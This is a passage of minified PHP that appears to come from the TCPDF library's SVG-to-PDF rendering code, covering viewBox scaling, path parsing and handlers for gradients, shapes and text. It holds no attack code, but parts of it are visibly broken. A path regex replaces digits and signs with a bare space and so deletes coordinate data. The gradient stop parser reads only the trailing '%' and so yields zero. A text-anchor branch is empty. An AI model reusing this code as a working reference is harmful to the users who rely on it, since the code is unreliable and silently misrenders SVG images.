!empty($regs[1])){$tmp=array();if(preg_match('/[\s]+x[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$ox=$this->getHTMLUnitToUnits($tmp[1],0,$this->svgunit,false);}$tmp=array();if(preg_match('/[\s]+y[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$oy=$this->getHTMLUnitToUnits($tmp[1],0,$this->svgunit,false);}$tmp=array();if(preg_match('/[\s]+width[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$ow=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);}$tmp=array();if(preg_match('/[\s]+height[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$oh=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);}$tmp=array();$view_box=array();if(preg_match('/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.\-]+)[\s]+([0-9\.\-]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si',$regs[1],$tmp)){if(count($tmp)==5){array_shift($tmp);foreach($tmp as $key=>$val){$view_box[$key]=$this->getHTMLUnitToUnits($val,0,$this->svgunit,false);}$ox=$view_box[0];$oy=$view_box[1];}$tmp=array();if(preg_match('/[\s]+preserveAspectRatio[\s]*=[\s]*"([^"]*)"/si',$regs[1],$tmp)){$aspect_ratio=preg_split('/[\s]+/si',$tmp[1]);switch(count($aspect_ratio)){case 3:{$aspect_ratio_align=$aspect_ratio[1];$aspect_ratio_ms=$aspect_ratio[2];break;}case 2:{$aspect_ratio_align=$aspect_ratio[0];$aspect_ratio_ms=$aspect_ratio[1];break;}case 1:{$aspect_ratio_align=$aspect_ratio[0];$aspect_ratio_ms='meet';break;}}}}}if($ow<=0){$ow=1;}if($oh<=0){$oh=1;}if(($w<=0) AND ($h<=0)){$w=$ow;$h=$oh;}elseif($w<=0){$w=$h*$ow/$oh;}elseif($h<=0){$h=$w*$oh/$ow;}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);if($this->rasterize_vector_images){return $this->Image($file,$x,$y,$w,$h,'SVG',$link,$align,true,300,$palign,false,false,$border,false,false,false);}$this->img_rb_y=$y+$h;if($this->rtl){if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x-$w;}$this->img_rb_x=$ximg;}else {if($palign=='L'){$ximg=$this->lMargin;}elseif($palign=='C'){$ximg=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign=='R'){$ximg=$this->w-$this->rMargin-$w;}else {$ximg=$x;}$this->img_rb_x=$ximg+$w;}$gvars=$this->getGraphicVars();$svgoffset_x=($ximg-$ox)*$this->k;$svgoffset_y=-($y-$oy)*$this->k;if(isset($view_box[2]) AND ($view_box[2]>0) AND ($view_box[3]>0)){$ow=$view_box[2];$oh=$view_box[3];}else {if($ow<=0){$ow=$w;}if($oh<=0){$oh=$h;}}$svgscale_x=$w/$ow;$svgscale_y=$h/$oh;if($aspect_ratio_align!='none'){$svgscale_old_x=$svgscale_x;$svgscale_old_y=$svgscale_y;if($aspect_ratio_ms=='slice'){if($svgscale_x>$svgscale_y){$svgscale_y=$svgscale_x;}elseif($svgscale_x<$svgscale_y){$svgscale_x=$svgscale_y;}}else {if($svgscale_x<$svgscale_y){$svgscale_y=$svgscale_x;}elseif($svgscale_x>$svgscale_y){$svgscale_x=$svgscale_y;}}switch(substr($aspect_ratio_align,1,3)){case 'Min':{break;}case 'Max':{$svgoffset_x+=(($w*$this->k)-($ow*$this->k*$svgscale_x));break;}default:case 'Mid':{$svgoffset_x+=((($w*$this->k)-($ow*$this->k*$svgscale_x))/2);break;}}switch(substr($aspect_ratio_align,5)){case 'Min':{break;}case 'Max':{$svgoffset_y-=(($h*$this->k)-($oh*$this->k*$svgscale_y));break;}default:case 'Mid':{$svgoffset_y-=((($h*$this->k)-($oh*$this->k*$svgscale_y))/2);break;}}}$page_break_mode=$this->AutoPageBreak;$page_break_margin=$this->getBreakMargin();$cell_padding=$this->cell_padding;$this->SetCellPadding(0);$this->SetAutoPageBreak(false);$this->_out('q'.$this->epsmarker);$this->Rect($ximg,$y,$w,$h,'CNZ',array(),array());$e=$ox*$this->k*(1-$svgscale_x);$f=($this->h-$oy)*$this->k*(1-$svgscale_y);$this->_out(sprintf('%F %F %F %F %F %F cm',$svgscale_x,0,0,$svgscale_y,($e+$svgoffset_x),($f+$svgoffset_y)));$this->parser=xml_parser_create('UTF-8');xml_set_object($this->parser,$this);xml_parser_set_option($this->parser,XML_OPTION_CASE_FOLDING,0);xml_set_element_handler($this->parser,'startSVGElementHandler','endSVGElementHandler');xml_set_character_data_handler($this->parser,'segSVGContentHandler');if(!xml_parse($this->parser,$svgdata)){$error_message=sprintf('SVG Error: %s at line %d',xml_error_string(xml_get_error_code($this->parser)),xml_get_current_line_number($this->parser));$this->Error($error_message);}xml_parser_free($this->parser);$this->_out($this->epsmarker.'Q');$this->setGraphicVars($gvars);$this->lasth=$gvars['lasth'];if(!empty($border)){$bx=$this->x;$by=$this->y;$this->x=$ximg;if($this->rtl){$this->x+=$w;}$this->y=$y;$this->Cell($w,$h,'',$border,0,'',0,'',0,true);$this->x=$bx;$this->y=$by;}if($link){$this->Link($ximg,$y,$w,$h,$link,0);}switch($align){case 'T':{$this->y=$y;$this->x=$this->img_rb_x;break;}case 'M':{$this->y=$y+round($h/2);$this->x=$this->img_rb_x;break;}case 'B':{$this->y=$this->img_rb_y;$this->x=$this->img_rb_x;break;}case 'N':{$this->SetY($this->img_rb_y);break;}default:{$this->x=$gvars['x'];$this->y=$gvars['y'];$this->page=$gvars['page'];$this->current_column=$gvars['current_column'];$this->tMargin=$gvars['tMargin'];$this->bMargin=$gvars['bMargin'];$this->w=$gvars['w'];$this->h=$gvars['h'];$this->wPt=$gvars['wPt'];$this->hPt=$gvars['hPt'];$this->fwPt=$gvars['fwPt'];$this->fhPt=$gvars['fhPt'];break;}}$this->endlinex=$this->img_rb_x;$this->SetAutoPageBreak($page_break_mode,$page_break_margin);$this->cell_padding=$cell_padding;} function convertSVGtMatrix($tm){$a=$tm[0];$b=-$tm[1];$c=-$tm[2];$d=$tm[3];$e=$this->getHTMLUnitToUnits($tm[4],1,$this->svgunit,false)*$this->k;$f=-$this->getHTMLUnitToUnits($tm[5],1,$this->svgunit,false)*$this->k;$x=0;$y=$this->h*$this->k;$e=($x*(1-$a))-($y*$c)+$e;$f=($y*(1-$d))-($x*$b)+$f;return array($a,$b,$c,$d,$e,$f);} function SVGTransform($tm){$this->Transform($this->convertSVGtMatrix($tm));} function SVGPath($d,$style=''){if($this->state!=2){return;}$op=TCPDF_STATIC::getPathPaintOperator($style,'');if(empty($op)){return;}$paths=array();$d=preg_replace('/([0-9ACHLMQSTVZ])([\-\+])/si',' ',$d);preg_match_all('/([ACHLMQSTVZ])[\s]*([^ACHLMQSTVZ\"]*)/si',$d,$paths,PREG_SET_ORDER);$x=0;$y=0;$x1=0;$y1=0;$x2=0;$y2=0;$xmin=2147483647;$xmax=0;$ymin=2147483647;$ymax=0;$relcoord=false;$minlen=(0.01/$this->k);$firstcmd=true;foreach($paths as $key=>$val){$cmd=trim($val[1]);if(strtolower($cmd)==$cmd){$relcoord=true;$xoffset=$x;$yoffset=$y;}else {$relcoord=false;$xoffset=0;$yoffset=0;}$params=array();if(isset($val[2])){$rawparams=preg_split('/([\,\s]+)/si',trim($val[2]));$params=array();foreach($rawparams as $ck=>$cp){$params[$ck]=$this->getHTMLUnitToUnits($cp,0,$this->svgunit,false);if(abs($params[$ck])<$minlen){$params[$ck]=0;}}}$x0=$x;$y0=$y;switch(strtoupper($cmd)){case 'M':{foreach($params as $ck=>$cp){if(($ck%2)==0){$x=$cp+$xoffset;}else {$y=$cp+$yoffset;if($firstcmd OR (abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){if($ck==1){$this->_outPoint($x,$y);$firstcmd=false;}else {$this->_outLine($x,$y);}$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'L':{foreach($params as $ck=>$cp){if(($ck%2)==0){$x=$cp+$xoffset;}else {$y=$cp+$yoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'H':{foreach($params as $ck=>$cp){$x=$cp+$xoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$xmin=min($xmin,$x);$xmax=max($xmax,$x);if($relcoord){$xoffset=$x;}}break;}case 'V':{foreach($params as $ck=>$cp){$y=$cp+$yoffset;if((abs($x0-$x)>=$minlen) OR (abs($y0-$y)>=$minlen)){$this->_outLine($x,$y);$x0=$x;$y0=$y;}$ymin=min($ymin,$y);$ymax=max($ymax,$y);if($relcoord){$yoffset=$y;}}break;}case 'C':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%6)==0){$x1=$params[($ck-5)]+$xoffset;$y1=$params[($ck-4)]+$yoffset;$x2=$params[($ck-3)]+$xoffset;$y2=$params[($ck-2)]+$yoffset;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$this->_outCurve($x1,$y1,$x2,$y2,$x,$y);$xmin=min($xmin,$x,$x1,$x2);$ymin=min($ymin,$y,$y1,$y2);$xmax=max($xmax,$x,$x1,$x2);$ymax=max($ymax,$y,$y1,$y2);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'S':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%4)==0){if(($key>0) AND ((strtoupper($paths[($key-1)][1])=='C') OR (strtoupper($paths[($key-1)][1])=='S'))){$x1=(2*$x)-$x2;$y1=(2*$y)-$y2;}else {$x1=$x;$y1=$y;}$x2=$params[($ck-3)]+$xoffset;$y2=$params[($ck-2)]+$yoffset;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$this->_outCurve($x1,$y1,$x2,$y2,$x,$y);$xmin=min($xmin,$x,$x1,$x2);$ymin=min($ymin,$y,$y1,$y2);$xmax=max($xmax,$x,$x1,$x2);$ymax=max($ymax,$y,$y1,$y2);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'Q':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%4)==0){$x1=$params[($ck-3)]+$xoffset;$y1=$params[($ck-2)]+$yoffset;$xa=($x+(2*$x1))/3;$ya=($y+(2*$y1))/3;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$xb=($x+(2*$x1))/3;$yb=($y+(2*$y1))/3;$this->_outCurve($xa,$ya,$xb,$yb,$x,$y);$xmin=min($xmin,$x,$xa,$xb);$ymin=min($ymin,$y,$ya,$yb);$xmax=max($xmax,$x,$xa,$xb);$ymax=max($ymax,$y,$ya,$yb);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'T':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if(($ck%2)!=0){if(($key>0) AND ((strtoupper($paths[($key-1)][1])=='Q') OR (strtoupper($paths[($key-1)][1])=='T'))){$x1=(2*$x)-$x1;$y1=(2*$y)-$y1;}else {$x1=$x;$y1=$y;}$xa=($x+(2*$x1))/3;$ya=($y+(2*$y1))/3;$x=$params[($ck-1)]+$xoffset;$y=$params[($ck)]+$yoffset;$xb=($x+(2*$x1))/3;$yb=($y+(2*$y1))/3;$this->_outCurve($xa,$ya,$xb,$yb,$x,$y);$xmin=min($xmin,$x,$xa,$xb);$ymin=min($ymin,$y,$ya,$yb);$xmax=max($xmax,$x,$xa,$xb);$ymax=max($ymax,$y,$ya,$yb);if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'A':{foreach($params as $ck=>$cp){$params[$ck]=$cp;if((($ck+1)%7)==0){$x0=$x;$y0=$y;$rx=abs($params[($ck-6)]);$ry=abs($params[($ck-5)]);$ang=-$rawparams[($ck-4)];$angle=deg2rad($ang);$fa=$rawparams[($ck-3)];$fs=$rawparams[($ck-2)];$x=$params[($ck-1)]+$xoffset;$y=$params[$ck]+$yoffset;if((abs($x0-$x)<$minlen) AND (abs($y0-$y)<$minlen)){$xmin=min($xmin,$x);$ymin=min($ymin,$y);$xmax=max($xmax,$x);$ymax=max($ymax,$y);}else {$cos_ang=cos($angle);$sin_ang=sin($angle);$a=(($x0-$x)/2);$b=(($y0-$y)/2);$xa=($a*$cos_ang)-($b*$sin_ang);$ya=($a*$sin_ang)+($b*$cos_ang);$rx2=$rx*$rx;$ry2=$ry*$ry;$xa2=$xa*$xa;$ya2=$ya*$ya;$delta=($xa2/$rx2)+($ya2/$ry2);if($delta>1){$rx*=sqrt($delta);$ry*=sqrt($delta);$rx2=$rx*$rx;$ry2=$ry*$ry;}$numerator=(($rx2*$ry2)-($rx2*$ya2)-($ry2*$xa2));if($numerator<0){$root=0;}else {$root=sqrt($numerator/(($rx2*$ya2)+($ry2*$xa2)));}if($fa==$fs){$root*=-1;}$cax=$root*(($rx*$ya)/$ry);$cay=-$root*(($ry*$xa)/$rx);$cx=($cax*$cos_ang)-($cay*$sin_ang)+(($x0+$x)/2);$cy=($cax*$sin_ang)+($cay*$cos_ang)+(($y0+$y)/2);$angs=TCPDF_STATIC::getVectorsAngle(1,0,(($xa-$cax)/$rx),(($cay-$ya)/$ry));$dang=TCPDF_STATIC::getVectorsAngle((($xa-$cax)/$rx),(($ya-$cay)/$ry),((-$xa-$cax)/$rx),((-$ya-$cay)/$ry));if(($fs==0) AND ($dang>0)){$dang-=(2*M_PI);}elseif(($fs==1) AND ($dang<0)){$dang+=(2*M_PI);}$angf=$angs-$dang;if((($fs==0) AND ($angs>$angf)) OR (($fs==1) AND ($angs<$angf))){$tmp=$angs;$angs=$angf;$angf=$tmp;}$angs=round(rad2deg($angs),6);$angf=round(rad2deg($angf),6);if(($angs<0) AND ($angf<0)){$angs+=360;$angf+=360;}$pie=false;if(($key==0) AND (isset($paths[($key+1)][1])) AND (trim($paths[($key+1)][1])=='z')){$pie=true;}list($axmin,$aymin,$axmax,$aymax)=$this->_outellipticalarc($cx,$cy,$rx,$ry,$ang,$angs,$angf,$pie,2,false,($fs==0),true);$xmin=min($xmin,$x,$axmin);$ymin=min($ymin,$y,$aymin);$xmax=max($xmax,$x,$axmax);$ymax=max($ymax,$y,$aymax);}if($relcoord){$xoffset=$x;$yoffset=$y;}}}break;}case 'Z':{$this->_out('h');break;}}$firstcmd=false;}if(!empty($op)){$this->_out($op);}return array($xmin,$ymin,($xmax-$xmin),($ymax-$ymin));} function removeTagNamespace($name){if(strpos($name,':')!==false){$parts=explode(':',$name);return $parts[(sizeof($parts)-1)];}return $name;} function startSVGElementHandler($parser,$name,$attribs,$ctm=array()){$name=$this->removeTagNamespace($name);if($this->svgclipmode){$this->svgclippaths[$this->svgclipid][]=array('name'=>$name,'attribs'=>$attribs,'tm'=>$this->svgcliptm[$this->svgclipid]);return;}if($this->svgdefsmode AND !in_array($name,array('clipPath','linearGradient','radialGradient','stop'))){if(isset($attribs['id'])){$attribs['child_elements']=array();$this->svgdefs[$attribs['id']]=array('name'=>$name,'attribs'=>$attribs);return;}if(end($this->svgdefs)!==FALSE){$last_svgdefs_id=key($this->svgdefs);if(isset($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'])){$attribs['id']='DF_'.(count($this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'])+1);$this->svgdefs[$last_svgdefs_id]['attribs']['child_elements'][$attribs['id']]=array('name'=>$name,'attribs'=>$attribs);return;}}return;}$clipping=false;if($parser=='clip-path'){$clipping=true;}$prev_svgstyle=$this->svgstyles[max(0,(count($this->svgstyles)-1))];$svgstyle=$this->svgstyles[0];if($clipping AND !isset($attribs['fill']) AND (!isset($attribs['style']) OR (!preg_match('/[;\"\s]{1}fill[\s]*:[\s]*([^;\"]*)/si',$attribs['style'],$attrval)))){$attribs['fill']='none';}if(isset($attribs['style']) AND !TCPDF_STATIC::empty_string($attribs['style']) AND ($attribs['style'][0]!=';')){$attribs['style']=';'.$attribs['style'];}foreach($prev_svgstyle as $key=>$val){if(in_array($key,TCPDF_IMAGES::$svginheritprop)){$svgstyle[$key]=$val;}if(isset($attribs[$key]) AND !TCPDF_STATIC::empty_string($attribs[$key])){if($attribs[$key]=='inherit'){$svgstyle[$key]=$val;}else {$svgstyle[$key]=$attribs[$key];}}elseif(isset($attribs['style']) AND !TCPDF_STATIC::empty_string($attribs['style'])){$attrval=array();if(preg_match('/[;\"\s]{1}'.$key.'[\s]*:[\s]*([^;\"]*)/si',$attribs['style'],$attrval) AND isset($attrval[1])){if($attrval[1]=='inherit'){$svgstyle[$key]=$val;}else {$svgstyle[$key]=$attrval[1];}}}}if(!empty($ctm)){$tm=$ctm;}else {$tm=array(1,0,0,1,0,0);}if(isset($attribs['transform']) AND !empty($attribs['transform'])){$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,TCPDF_STATIC::getSVGTransformMatrix($attribs['transform']));}$svgstyle['transfmatrix']=$tm;$invisible=false;if(($svgstyle['visibility']=='hidden') OR ($svgstyle['visibility']=='collapse') OR ($svgstyle['display']=='none')){$invisible=true;}switch($name){case 'defs':{$this->svgdefsmode=true;break;}case 'clipPath':{if($invisible){break;}$this->svgclipmode=true;if(!isset($attribs['id'])){$attribs['id']='CP_'.(count($this->svgcliptm)+1);}$this->svgclipid=$attribs['id'];$this->svgclippaths[$this->svgclipid]=array();$this->svgcliptm[$this->svgclipid]=$tm;break;}case 'g':{array_push($this->svgstyles,$svgstyle);$this->StartTransform();$x=(isset($attribs['x'])?$attribs['x']:0);$y=(isset($attribs['y'])?$attribs['y']:0);$w=1;$h=1;$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,array($w,0,0,$h,$x,$y));$this->SVGTransform($tm);$this->setSVGStyles($svgstyle,$prev_svgstyle);break;}case 'linearGradient':{if($this->pdfa_mode){break;}if(!isset($attribs['id'])){$attribs['id']='GR_'.(count($this->svggradients)+1);}$this->svggradientid=$attribs['id'];$this->svggradients[$this->svggradientid]=array();$this->svggradients[$this->svggradientid]['type']=2;$this->svggradients[$this->svggradientid]['stops']=array();if(isset($attribs['gradientUnits'])){$this->svggradients[$this->svggradientid]['gradientUnits']=$attribs['gradientUnits'];}else {$this->svggradients[$this->svggradientid]['gradientUnits']='objectBoundingBox';}if(((!isset($attribs['x1'])) AND (!isset($attribs['y1'])) AND (!isset($attribs['x2'])) AND (!isset($attribs['y2']))) OR ((isset($attribs['x1']) AND (substr($attribs['x1'],-1)=='%')) OR (isset($attribs['y1']) AND (substr($attribs['y1'],-1)=='%')) OR (isset($attribs['x2']) AND (substr($attribs['x2'],-1)=='%')) OR (isset($attribs['y2']) AND (substr($attribs['y2'],-1)=='%')))){$this->svggradients[$this->svggradientid]['mode']='percentage';}else {$this->svggradients[$this->svggradientid]['mode']='measure';}$x1=(isset($attribs['x1'])?$attribs['x1']:'0');$y1=(isset($attribs['y1'])?$attribs['y1']:'0');$x2=(isset($attribs['x2'])?$attribs['x2']:'100');$y2=(isset($attribs['y2'])?$attribs['y2']:'0');if(isset($attribs['gradientTransform'])){$this->svggradients[$this->svggradientid]['gradientTransform']=TCPDF_STATIC::getSVGTransformMatrix($attribs['gradientTransform']);}$this->svggradients[$this->svggradientid]['coords']=array($x1,$y1,$x2,$y2);if(isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])){$this->svggradients[$this->svggradientid]['xref']=substr($attribs['xlink:href'],1);}break;}case 'radialGradient':{if($this->pdfa_mode){break;}if(!isset($attribs['id'])){$attribs['id']='GR_'.(count($this->svggradients)+1);}$this->svggradientid=$attribs['id'];$this->svggradients[$this->svggradientid]=array();$this->svggradients[$this->svggradientid]['type']=3;$this->svggradients[$this->svggradientid]['stops']=array();if(isset($attribs['gradientUnits'])){$this->svggradients[$this->svggradientid]['gradientUnits']=$attribs['gradientUnits'];}else {$this->svggradients[$this->svggradientid]['gradientUnits']='objectBoundingBox';}if(((!isset($attribs['cx'])) AND (!isset($attribs['cy']))) OR ((isset($attribs['cx']) AND (substr($attribs['cx'],-1)=='%')) OR (isset($attribs['cy']) AND (substr($attribs['cy'],-1)=='%')))){$this->svggradients[$this->svggradientid]['mode']='percentage';}elseif(isset($attribs['r']) AND is_numeric($attribs['r']) AND ($attribs['r'])<=1){$this->svggradients[$this->svggradientid]['mode']='ratio';}else {$this->svggradients[$this->svggradientid]['mode']='measure';}$cx=(isset($attribs['cx'])?$attribs['cx']:0.5);$cy=(isset($attribs['cy'])?$attribs['cy']:0.5);$fx=(isset($attribs['fx'])?$attribs['fx']:$cx);$fy=(isset($attribs['fy'])?$attribs['fy']:$cy);$r=(isset($attribs['r'])?$attribs['r']:0.5);if(isset($attribs['gradientTransform'])){$this->svggradients[$this->svggradientid]['gradientTransform']=TCPDF_STATIC::getSVGTransformMatrix($attribs['gradientTransform']);}$this->svggradients[$this->svggradientid]['coords']=array($cx,$cy,$fx,$fy,$r);if(isset($attribs['xlink:href']) AND !empty($attribs['xlink:href'])){$this->svggradients[$this->svggradientid]['xref']=substr($attribs['xlink:href'],1);}break;}case 'stop':{if(substr($attribs['offset'],-1)=='%'){$offset=floatval(substr($attribs['offset'],-1))/100;}else {$offset=floatval($attribs['offset']);if($offset>1){$offset/=100;}}$stop_color=isset($svgstyle['stop-color'])?TCPDF_COLORS::convertHTMLColorToDec($svgstyle['stop-color'],$this->spot_colors):'black';$opacity=isset($svgstyle['stop-opacity'])?$svgstyle['stop-opacity']:1;$this->svggradients[$this->svggradientid]['stops'][]=array('offset'=>$offset,'color'=>$stop_color,'opacity'=>$opacity);break;}case 'path':{if($invisible){break;}if(isset($attribs['d'])){$d=trim($attribs['d']);if(!empty($d)){$x=(isset($attribs['x'])?$attribs['x']:0);$y=(isset($attribs['y'])?$attribs['y']:0);$w=(isset($attribs['width'])?$attribs['width']:1);$h=(isset($attribs['height'])?$attribs['height']:1);$tm=TCPDF_STATIC::getTransformationMatrixProduct($tm,array($w,0,0,$h,$x,$y));if($clipping){$this->SVGTransform($tm);$this->SVGPath($d,'CNZ');}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'SVGPath',array($d,'CNZ'));if(!empty($obstyle)){$this->SVGPath($d,$obstyle);}$this->StopTransform();}}}break;}case 'rect':{if($invisible){break;}$x=(isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false):0);$y=(isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false):0);$w=(isset($attribs['width'])?$this->getHTMLUnitToUnits($attribs['width'],0,$this->svgunit,false):0);$h=(isset($attribs['height'])?$this->getHTMLUnitToUnits($attribs['height'],0,$this->svgunit,false):0);$rx=(isset($attribs['rx'])?$this->getHTMLUnitToUnits($attribs['rx'],0,$this->svgunit,false):0);$ry=(isset($attribs['ry'])?$this->getHTMLUnitToUnits($attribs['ry'],0,$this->svgunit,false):$rx);if($clipping){$this->SVGTransform($tm);$this->RoundedRectXY($x,$y,$w,$h,$rx,$ry,'1111','CNZ',array(),array());}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'RoundedRectXY',array($x,$y,$w,$h,$rx,$ry,'1111','CNZ'));if(!empty($obstyle)){$this->RoundedRectXY($x,$y,$w,$h,$rx,$ry,'1111',$obstyle,array(),array());}$this->StopTransform();}break;}case 'circle':{if($invisible){break;}$r=(isset($attribs['r'])?$this->getHTMLUnitToUnits($attribs['r'],0,$this->svgunit,false):0);$cx=(isset($attribs['cx'])?$this->getHTMLUnitToUnits($attribs['cx'],0,$this->svgunit,false):(isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false):0));$cy=(isset($attribs['cy'])?$this->getHTMLUnitToUnits($attribs['cy'],0,$this->svgunit,false):(isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false):0));$x=($cx-$r);$y=($cy-$r);$w=(2*$r);$h=$w;if($clipping){$this->SVGTransform($tm);$this->Circle($cx,$cy,$r,0,360,'CNZ',array(),array(),8);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Circle',array($cx,$cy,$r,0,360,'CNZ'));if(!empty($obstyle)){$this->Circle($cx,$cy,$r,0,360,$obstyle,array(),array(),8);}$this->StopTransform();}break;}case 'ellipse':{if($invisible){break;}$rx=(isset($attribs['rx'])?$this->getHTMLUnitToUnits($attribs['rx'],0,$this->svgunit,false):0);$ry=(isset($attribs['ry'])?$this->getHTMLUnitToUnits($attribs['ry'],0,$this->svgunit,false):0);$cx=(isset($attribs['cx'])?$this->getHTMLUnitToUnits($attribs['cx'],0,$this->svgunit,false):(isset($attribs['x'])?$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false):0));$cy=(isset($attribs['cy'])?$this->getHTMLUnitToUnits($attribs['cy'],0,$this->svgunit,false):(isset($attribs['y'])?$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false):0));$x=($cx-$rx);$y=($cy-$ry);$w=(2*$rx);$h=(2*$ry);if($clipping){$this->SVGTransform($tm);$this->Ellipse($cx,$cy,$rx,$ry,0,0,360,'CNZ',array(),array(),8);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Ellipse',array($cx,$cy,$rx,$ry,0,0,360,'CNZ'));if(!empty($obstyle)){$this->Ellipse($cx,$cy,$rx,$ry,0,0,360,$obstyle,array(),array(),8);}$this->StopTransform();}break;}case 'line':{if($invisible){break;}$x1=(isset($attribs['x1'])?$this->getHTMLUnitToUnits($attribs['x1'],0,$this->svgunit,false):0);$y1=(isset($attribs['y1'])?$this->getHTMLUnitToUnits($attribs['y1'],0,$this->svgunit,false):0);$x2=(isset($attribs['x2'])?$this->getHTMLUnitToUnits($attribs['x2'],0,$this->svgunit,false):0);$y2=(isset($attribs['y2'])?$this->getHTMLUnitToUnits($attribs['y2'],0,$this->svgunit,false):0);$x=$x1;$y=$y1;$w=abs($x2-$x1);$h=abs($y2-$y1);if(!$clipping){$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Line',array($x1,$y1,$x2,$y2));$this->Line($x1,$y1,$x2,$y2);$this->StopTransform();}break;}case 'polyline':case 'polygon':{if($invisible){break;}$points=(isset($attribs['points'])?$attribs['points']:'0 0');$points=trim($points);$points=preg_split('/[\,\s]+/si',$points);if(count($points)<4){break;}$p=array();$xmin=2147483647;$xmax=0;$ymin=2147483647;$ymax=0;foreach($points as $key=>$val){$p[$key]=$this->getHTMLUnitToUnits($val,0,$this->svgunit,false);if(($key%2)==0){$xmin=min($xmin,$p[$key]);$xmax=max($xmax,$p[$key]);}else {$ymin=min($ymin,$p[$key]);$ymax=max($ymax,$p[$key]);}}$x=$xmin;$y=$ymin;$w=($xmax-$xmin);$h=($ymax-$ymin);if($name=='polyline'){$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'PolyLine',array($p,'CNZ'));if(!empty($obstyle)){$this->PolyLine($p,$obstyle,array(),array());}$this->StopTransform();}else {if($clipping){$this->SVGTransform($tm);$this->Polygon($p,'CNZ',array(),array(),true);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,'Polygon',array($p,'CNZ'));if(!empty($obstyle)){$this->Polygon($p,$obstyle,array(),array(),true);}$this->StopTransform();}}break;}case 'text':case 'tspan':{if(isset($this->svgtextmode['text-anchor']) AND !empty($this->svgtext)){}$this->svgtextmode['invisible']=$invisible;if($invisible){break;}array_push($this->svgstyles,$svgstyle);if(isset($attribs['x'])){$x=$this->getHTMLUnitToUnits($attribs['x'],0,$this->svgunit,false);}elseif($name=='tspan'){$x=$this->x;}else {$x=0;}if(isset($attribs['dx'])){$x+=$this->getHTMLUnitToUnits($attribs['dx'],0,$this->svgunit,false);}if(isset($attribs['y'])){$y=$this->getHTMLUnitToUnits($attribs['y'],0,$this->svgunit,false);}elseif($name=='tspan'){$y=$this->y;}else {$y=0;}if(isset($attribs['dy'])){$y+=$this->getHTMLUnitToUnits($attribs['dy'],0,$this->svgunit,false);}$svgstyle['text-color']=$svgstyle['fill'];$this->svgtext='';if(isset($svgstyle['text-anchor'])){$this->svgtextmode['text-anchor']=$svgstyle['text-anchor'];}else {$this->svgtextmode['text-anchor']='start';}if(isset($svgstyle['direction'])){if($svgstyle['direction']=='rtl'){$this->svgtextmode['rtl']=true;}else {$this->svgtextmode['rtl']=false;}}else {$this->svgtextmode['rtl']=false;}if(isset($svgstyle['stroke']) AND ($svgstyle['stroke']!='none') AND isset($svgstyle['stroke-width']) AND ($svgstyle['stroke-width']>0)){$this->svgtextmode['stroke']=$this->getHTMLUnitToUnits($svgstyle['stroke-width'],0,$this->svgunit,false);}else 